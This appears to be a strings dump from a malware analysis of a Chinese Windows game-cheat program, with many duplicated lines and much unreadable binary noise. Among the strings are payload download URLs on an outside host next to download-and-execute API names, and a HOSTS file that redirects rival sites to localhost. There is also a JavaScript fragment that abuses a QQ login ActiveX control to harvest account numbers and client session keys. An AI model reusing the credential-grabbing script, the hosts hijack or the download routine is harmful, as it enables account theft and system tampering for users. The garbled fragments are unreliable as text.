http://www.hookbug.com:5151/vip
http://www.hixxg.com
http://www.hixxg.com
www.hixxg.com
www.hixxg.com
Result=MsgBox ("
Result=MsgBox ("
(*^__^*)
(*^__^*)
%System%\XXTS.vbs
%System%\XXTS.vbs
\UpData.exe
\UpData.exe
\unrar.dll
\unrar.dll
BASEURL
BASEURL
Hotkey
Hotkey
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
# 102.54.94.97 rhino.acme.com # source server
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host
# 38.25.63.10 x.acme.com # x client host
127.0.0.1 localhost
127.0.0.1 localhost
127.0.0.1 52jwyy.com
127.0.0.1 52jwyy.com
127.0.0.1 www.52jwyy.com
127.0.0.1 www.52jwyy.com
127.0.0.1 bbs.52jwyy.com
127.0.0.1 bbs.52jwyy.com
127.0.0.1 au2014.com
127.0.0.1 au2014.com
127.0.0.1 www.au2014.com
127.0.0.1 www.au2014.com
127.0.0.1 92ausf.com
127.0.0.1 92ausf.com
127.0.0.1 www.92ausf.com
127.0.0.1 www.92ausf.com
127.0.0.1 92jwyy.taobao.com
127.0.0.1 92jwyy.taobao.com
127.0.0.1 shop105942574.taobao.com
127.0.0.1 shop105942574.taobao.com
127.0.0.1 jwyywg.d131.tqxq.com
127.0.0.1 jwyywg.d131.tqxq.com
127.0.0.1 www.jwyywg.d131.tqxq.com
127.0.0.1 www.jwyywg.d131.tqxq.com
127.0.0.1 audition0538.i.sohu.com
127.0.0.1 audition0538.i.sohu.com
127.0.0.1 www.vdisk.cn/au2012fuzhu
127.0.0.1 www.vdisk.cn/au2012fuzhu
127.0.0.1 audition0538.blog.sohu.com
127.0.0.1 audition0538.blog.sohu.com
127.0.0.1 9421mm.com
127.0.0.1 9421mm.com
127.0.0.1 www.9421mm.com
127.0.0.1 www.9421mm.com
return binl2hex(core_md5(str2binl(A), A.length * chrsz))
return binl2hex(core_md5(str2binl(A), A.length * chrsz))
return binl2str(core_md5(str2binl(A), A.length * chrsz))
return binl2str(core_md5(str2binl(A), A.length * chrsz))
for (var C = 0; C < K.length; C = 16) {
for (var C = 0; C < K.length; C = 16) {
for (var B = 0; B < D.length * chrsz; B = chrsz) {
for (var B = 0; B < D.length * chrsz; B = chrsz) {
C[B >> 5] |= (D.charCodeAt(B / chrsz) & A) << (B % 32)
C[B >> 5] |= (D.charCodeAt(B / chrsz) & A) << (B % 32)
for (var B = 0; B < C.length * 32; B = chrsz) {
for (var B = 0; B < C.length * 32; B = chrsz) {
D = String.fromCharCode((C[B >> 5] >>> (B % 32)) & A)
D = String.fromCharCode((C[B >> 5] >>> (B % 32)) & A)
for (var A = 0; A < C.length * 4; A ) {
for (var A = 0; A < C.length * 4; A ) {
D = B.charAt((C[A >> 2] >> ((A % 4) * 8 4)) & 15) B.charAt((C[A >> 2] >> ((A % 4) * 8)) & 15)
D = B.charAt((C[A >> 2] >> ((A % 4) * 8 4)) & 15) B.charAt((C[A >> 2] >> ((A % 4) * 8)) & 15)
for (var i = 0; i < str.length; i = i 2) {
for (var i = 0; i < str.length; i = i 2) {
arr.push("\\x" str.substr(i, 2))
arr.push("\\x" str.substr(i, 2))
arr = arr.join("");
arr = arr.join("");
return(Math.random());
return(Math.random());
return(date.getTime());
return(date.getTime());
http://www.hixxg.com/
http://www.hixxg.com/
\QQShow.dll
\QQShow.dll
5B3838F5-0C81-46D9-A4C0-6EA28CA3E942_
5B3838F5-0C81-46D9-A4C0-6EA28CA3E942_
275816125
275816125
2286585953
2286585953
1149544
1149544
*.bak
*.bak
*.rar
*.rar
10.0.4
10.0.4
http://blog.sina.com.cn/s/blog_b61e00f001016mtd.html
http://blog.sina.com.cn/s/blog_b61e00f001016mtd.html
%System%\Configuration file.ini
%System%\Configuration file.ini
%swtV!
%swtV!
%sw8H!
%sw8H!
%sw04!
%sw04!
%sw 4!
%sw 4!
%sw<(!
%sw<(!
%swP.
%swP.
.rw!~#
.rw!~#
S.gzw
S.gzw
Sqlv
Sqlv
Bd .Cd =Cd [Bd MCd
Bd .Cd =Cd [Bd MCd
<z-V><pre>r.SQeq</pre><pre>urlmon.dll</pre><pre>unrar.dll</pre><pre>URLDownloadToCacheFileA</pre><pre>URLDownloadToFileA</pre><pre>RARSetPassword</pre><pre>%S4WD</pre><pre>hg%fpM</pre><pre>S.Ac9SR</pre><pre>0.I%3s</pre><pre>,wAe.kI</pre><pre>aiUy'4xu</pre><pre>%c*@j</pre><pre>.eH'y</pre><pre>{&%U)</pre><pre>lj%4U</pre><pre>xe%CNs</pre><pre>9F.cLe</pre><pre>hJK.ZH</pre><pre>O.qt0</pre><pre>KERNEL32.DLL</pre><pre>COMCTL32.dll</pre><pre>GDI32.dll</pre><pre>MSIMG32.dll</pre><pre>MSVCRT.dll</pre><pre>MSVFW32.dll</pre><pre>USER32.dll</pre><pre>SkinH_EL.dll</pre><pre>.iqW></pre><pre>"3/%F</pre><pre>QChttp://www.hookbug.com:5151/jwxx.rar</pre><pre>`.rdata</pre><pre>@.reloc</pre><pre>t-f9}</pre><pre>%.*s(%d)%s</pre><pre>Please contact the application's support team for more information.</pre><pre>- Attempt to initialize the CRT more than once.</pre><pre>- CRT not initialized</pre><pre>- floating point support not loaded</pre><pre>GetProcessWindowStation</pre><pre>USER32.DLL</pre><pre>operator</pre><pre>d:\Projects\WinRAR\rar\build\unrardll32\Release\unrar.pdb</pre><pre>GetCPInfo</pre><pre>KERNEL32.dll</pre><pre>ADVAPI32.dll</pre><pre>GetConsoleOutputCP</pre><pre><requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel></pre><pre>jwxx.rar</pre><pre>jwxx.exe</pre><pre>http://www.hookbug.com:5151/new_mf.html</pre><pre>mGOY%f</pre><pre>io.HRI</pre><pre>h:\&=</pre><pre>y?^i.HU</pre><pre>F%*.*f</pre><pre>CNotSupportedException</pre><pre>commctrl_DragListMsg</pre><pre>Afx:%x:%x:%x:%x:%x</pre><pre>Afx:%x:%x</pre><pre>COMCTL32.DLL</pre><pre>CCmdTarget</pre><pre>__MSVCRT_HEAP_SELECT</pre><pre>iphlpapi.dll</pre><pre>SHLWAPI.dll</pre><pre>MPR.dll</pre><pre>WINMM.dll</pre><pre>WS2_32.dll</pre><pre>VERSION.dll</pre><pre>GetProcessHeap</pre><pre>WinExec</pre><pre>GetKeyState</pre><pre>GetViewportOrgEx</pre><pre>WINSPOOL.DRV</pre><pre>ShellExecuteA</pre><pre>SHELL32.dll</pre><pre>OLEAUT32.dll</pre><pre>WININET.dll</pre><pre>CreateDialogIndirectParamA</pre><pre>UnhookWindowsHookEx</pre><pre>SetViewportOrgEx</pre><pre>OffsetViewportOrgEx</pre><pre>SetViewportExtEx</pre><pre>ScaleViewportExtEx</pre><pre>GetViewportExtEx</pre><pre>comdlg32.dll</pre><pre>#include "l.chs\afxres.rc" // Standard components</pre><pre>=f%7s</pre><pre>http://shang.qq.com/wpa/qunwpa?idkey=f67ec2ba2cd402abd4c0bc9d75ca8854c46a5486eab2f0e310dc7d29e32ea85d</pre><pre>.data</pre><pre>%um %</pre><pre>m %xn</pre><pre>%xt"0</pre><pre>Mm %st"</pre><pre>%s]OL</pre><pre>m %st"</pre><pre>l %st"</pre><pre>om %x</pre><pre>m %u`</pre><pre>%xt",</pre><pre>%s]$9</pre><pre>m %xm %~`</pre><pre>m %ut"</pre><pre>Mm %ut"0</pre><pre>.zzf.</pre><pre>m %st",</pre><pre>%um %tR</pre><pre>%st",</pre><pre>%x]@F</pre><pre>%sm %</pre><pre>m %u]</pre><pre>7Lm %u</pre><pre>m %pm %s]</pre><pre>m %s]3</pre><pre>%xt"4</pre><pre>%xm %</pre><pre>l %x`</pre><pre>m %x`</pre><pre>m %um %</pre><pre>m %x-</pre><pre>%s];&</pre><pre>m %s`</pre><pre>l %xt"</pre><pre>#0m %xt"</pre><pre>%sm %ut" e}</pre><pre>'N]%s</pre><pre>m %s<</pre><pre>m %ut"</pre><pre>%xm %t</pre><pre>m %sm %</pre><pre>l %s`</pre><pre>m %st</pre><pre>m %sn</pre><pre>%xt" e}</pre><pre>%qm %x</pre><pre>%pm %u</pre><pre>Mm %s</pre><pre>m %x0</pre><pre>m %st"</pre><pre>Mm %s]I&</pre><pre>%ut"4</pre><pre>m %xt"0</pre><pre>%xm %n</pre><pre>,178*(/5</pre><pre>%fu8&M</pre><pre>yfx`%d</pre><pre>u`.du</pre><pre>.yze.</pre><pre>#/b.cI</pre><pre>~8%St</pre><pre>%fu6e</pre><pre>%fv85</pre><pre>v!.fu</pre><pre>4z.sh</pre><pre>y.tOt</pre><pre>%fu:p</pre><pre>%fu8f</pre><pre>p|8%fv</pre><pre>%fu6h</pre><pre>%fu8%</pre><pre>#eõ</pre><pre>kn%fy</pre><pre>'L]%s</pre><pre>w8%f}</pre><pre>.pys'</pre><pre>"07z%x</pre><pre>Qkp%S</pre><pre>v".fv</pre><pre>5!.fv</pre><pre>t".Rt</pre><pre>5!.Lt</pre><pre>~6%fv</pre><pre>p{8%fv</pre><pre>GetAsyncKeyState</pre><pre>{B6F7542F-B8FE-46a8-9605-98856A687097}</pre><pre>http://www.hookbug.com:5151/vip/</pre><pre>-Www.52jwxx.Com</pre><pre>0000000000000000</pre><pre>0000000</pre><pre>d-WWW.HIXXG.COM</pre><pre>00 00 17 01</pre><pre>http://www.hookbug.com:5151</pre><pre>*.dll</pre><pre>À-#R4d</pre><pre>/'*w4l%X89</pre><pre>%s)l)*%</pre><pre>%d%V&</pre><pre>%U3e)</pre><pre>,50,100,150</pre><pre>http://www.hookbug.com:5151/jiezhi/</pre><pre>W WWW.52JWXX.COM</pre><pre>AKernel32.dll</pre><pre>:197774811</pre><pre>http://www.hookbug.com:5151/qunb.htmls</pre><pre>http://www.hookbug.com:5151/qq.htmls</pre><pre>http://www.hookbug.com:5151/vip.rar</pre><pre>http://www.hixxg.com/xiazai.html</pre><pre>http://bbs.52jwxx.com/</pre><pre>WWW.HIXXG.COM</pre><pre>W www.hixxg.com</pre><pre>%*.*f</pre><pre>windows</pre><pre>MSWHEEL_ROLLMSG</pre><pre>RASAPI32.dll</pre><pre>GetWindowsDirectoryA</pre><pre>EnumChildWindows</pre><pre>oledlg.dll</pre><pre>WSOCK32.dll</pre><pre>HttpQueryInfoA</pre><pre>HttpSendRequestA</pre><pre>HttpOpenRequestA</pre><pre>InternetCrackUrlA</pre><pre>InternetCanonicalizeUrlA</pre><pre>QQShow.dll</pre><pre>197774811</pre><pre>0.0.0.0</pre><pre>&keyindex=9&pt_aid=549000912&u1=http://qzs.qq.com/qzone/v5/loginsucc.html?para=izone</pre><pre>&clientkey=</pre><pre>http://ptlogin2.qq.com/jump?clientuin=</pre><pre>QQnologin</pre><pre>SSOAxCtrlForPTLogin.SSOForPTLogin2</pre><pre>http://xui.ptlogin2.qq.com/cgi-bin/qlogin</pre><pre>document.body.innerHTML=GetuinKey();</pre><pre>function GetuinKey(){var text="";var q_hummerQtrl=null;var g_vOptData=null;if(window.ActiveXObject){try{q_hummerQtrl=new ActiveXObject("SSOAxCtrlForPTLogin.SSOForPTLogin2");var A=q_hummerQtrl.CreateTXSSOData();q_hummerQtrl.InitSSOFPTCtrl(0,A);g_vOptData=q_hummerQtrl.CreateTXSSOData();var a=q_hummerQtrl.DoOperation(1,g_vOptData);var V=a.GetArray("PTALIST");var f=V.GetSize();var H=$("list_uin");for(var g=0;g<f><pre>WinHttp.WinHttpRequest.5.1</pre><pre>for(var i=0,len=str.length;i<len><pre>hash =(hash<<5) str.charCodeAt(i);</pre><pre>skey=</pre><pre>&ua=Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; .NET CLR 1.1.4322)</pre><pre>http://qun.qzone.qq.com/cgi-bin/get_group_list?groupcount=4&count=4&callbackFun=_GetGroupPortal&uin=</pre><pre>http://</pre><pre>javascript:document.onsdragstart=document.onselectstart=document.oncontextmenu=function(){return true}</pre><pre>javascript:document.onselectstart = document.oncontextmenu = document.onmousedown = document.onkeydown = function(){return true;};</pre><pre>var jie = document.createStyleSheet();jie.addRule('html','overflow:hidden;');</pre><pre>text|password|file</pre><pre>{557CF400-1A04-11D3-9A73-0000F81EF32E}</pre><pre>{557CF401-1A04-11D3-9A73-0000F81EF32E}</pre><pre>{557CF402-1A04-11D3-9A73-0000F81EF32E}</pre><pre>{557CF405-1A04-11D3-9A73-0000F81EF32E}</pre><pre>{557CF406-1A04-11D3-9A73-0000F81EF32E}</pre><pre>WarnOnHTTPSToHTTPRedirect</pre><pre>HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings</pre><pre>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings</pre><pre>HKEY_CLASSES_ROOT</pre><pre>HKEY_CURRENT_USER</pre><pre>HKEY_LOCAL_MACHINE</pre><pre>HKEY_USERS</pre><pre>http://www.hookbug.com:5151/</pre><pre>http://www.hookbug.com:5151/qunb.htmlr</pre><pre>http://www.hookbug.com:5151/qq.htmlr</pre><pre>www.soso.comv</pre><pre>.PAVCException@@</pre><pre>Shell32.dll</pre><pre>Mpr.dll</pre><pre>Advapi32.dll</pre><pre>User32.dll</pre><pre>Gdi32.dll</pre><pre>(&07-034/)7 '</pre><pre>?? / %d]</pre><pre>%d / %d]</pre><pre>.PAVCFileException@@</pre><pre>: %d]</pre><pre>(*.*)|*.*||</pre><pre>(*.WAV;*.MID)|*.WAV;*.MID|WAV</pre><pre>(*.WAV)|*.WAV|MIDI</pre><pre>(*.MID)|*.MID|</pre><pre>(*.txt)|*.txt|</pre><pre>(*.JPG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.BMP;*.GIF;*.ICO;*.CUR|JPG</pre><pre>(*.JPG)|*.JPG|BMP</pre><pre>(*.BMP)|*.BMP|GIF</pre><pre>(*.GIF)|*.GIF|</pre><pre>(*.ICO)|*.ICO|</pre><pre>(*.CUR)|*.CUR|</pre><pre>%s:%d</pre><pre>.PAVCNotSupportedException@@</pre><pre>out.prn</pre><pre>(*.prn)|*.prn|</pre><pre>%d.%d</pre><pre>%d/%d</pre><pre>%d / %d</pre><pre>Bogus message code %d</pre><pre>(%d-%d):</pre><pre>%ld%c</pre><pre>www.dywt.com.cn</pre><pre>(*.htm;*.html)|*.htm;*.html</pre><pre>Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)</pre><pre>HTTP/1.0</pre><pre>%s <%s></pre><pre>Reply-To: %s</pre><pre>From: %s</pre><pre>To: %s</pre><pre>Subject: %s</pre><pre>Date: %s</pre><pre>Cc: %s</pre><pre>%a, %d %b %Y %H:%M:%S</pre><pre>SMTP</pre><pre>.PAVCOleException@@</pre><pre>.PAVCObject@@</pre><pre>.PAVCSimpleException@@</pre><pre>.PAVCMemoryException@@</pre><pre>.?AVCNotSupportedException@@</pre><pre>.PAVCResourceException@@</pre><pre>.PAVCUserException@@</pre><pre>.?AVCCmdTarget@@</pre><pre>.?AVCCmdUI@@</pre><pre>.?AVCTestCmdUI@@</pre><pre>.PAVCOleDispatchException@@</pre><pre>.PAVCArchiveException@@</pre><pre>zcÁ</pre><pre>c:\%original file name%.exe</pre><pre><assemblyIdentity version="1.0.0.0"><pre><requestedExecutionLevel><pre>1, 0, 6, 6</pre><pre>- Skin.dll</pre><pre>rtmp%d</pre><pre>Crypt32.dll</pre><pre>mscoree.dll</pre><pre>4.20.0</pre><pre>Unrar.dll</pre><pre>(*.*)</pre><pre>1.0.0.0</pre><pre>{"{$|%~%</pre><pre>DBUNg[yg</pre><pre>00>BLTWebuk</pre><pre>%'%5%D%P%['d,l4r<wG><pre> y%r$i$^%U N.G4B7<;9<5<0;)5"0</pre><pre>g~\tPiD^9T.K%D</pre><pre>@"<)7,20 2$2</pre><pre>9$5)0, .$.</pre><pre>9"5'0 )."0</pre><pre>2$,%'' '</pre><pre>0",%')" </pre><pre>\e5.0\e.exe</pre><pre>8.1.0.0</pre><pre>WWW.52JWXX.COM</pre><pre>WWW.52JWXX.COM</pre><b>%original file name%.exe_1368_rwx_00401000_000D6000:</b><pre>t$(SSh</pre><pre>~%UVW</pre><pre>u$SShe</pre></wG></pre></requestedExecutionLevel></pre></assemblyIdentity></pre></len></pre></f></pre></pre></z-V>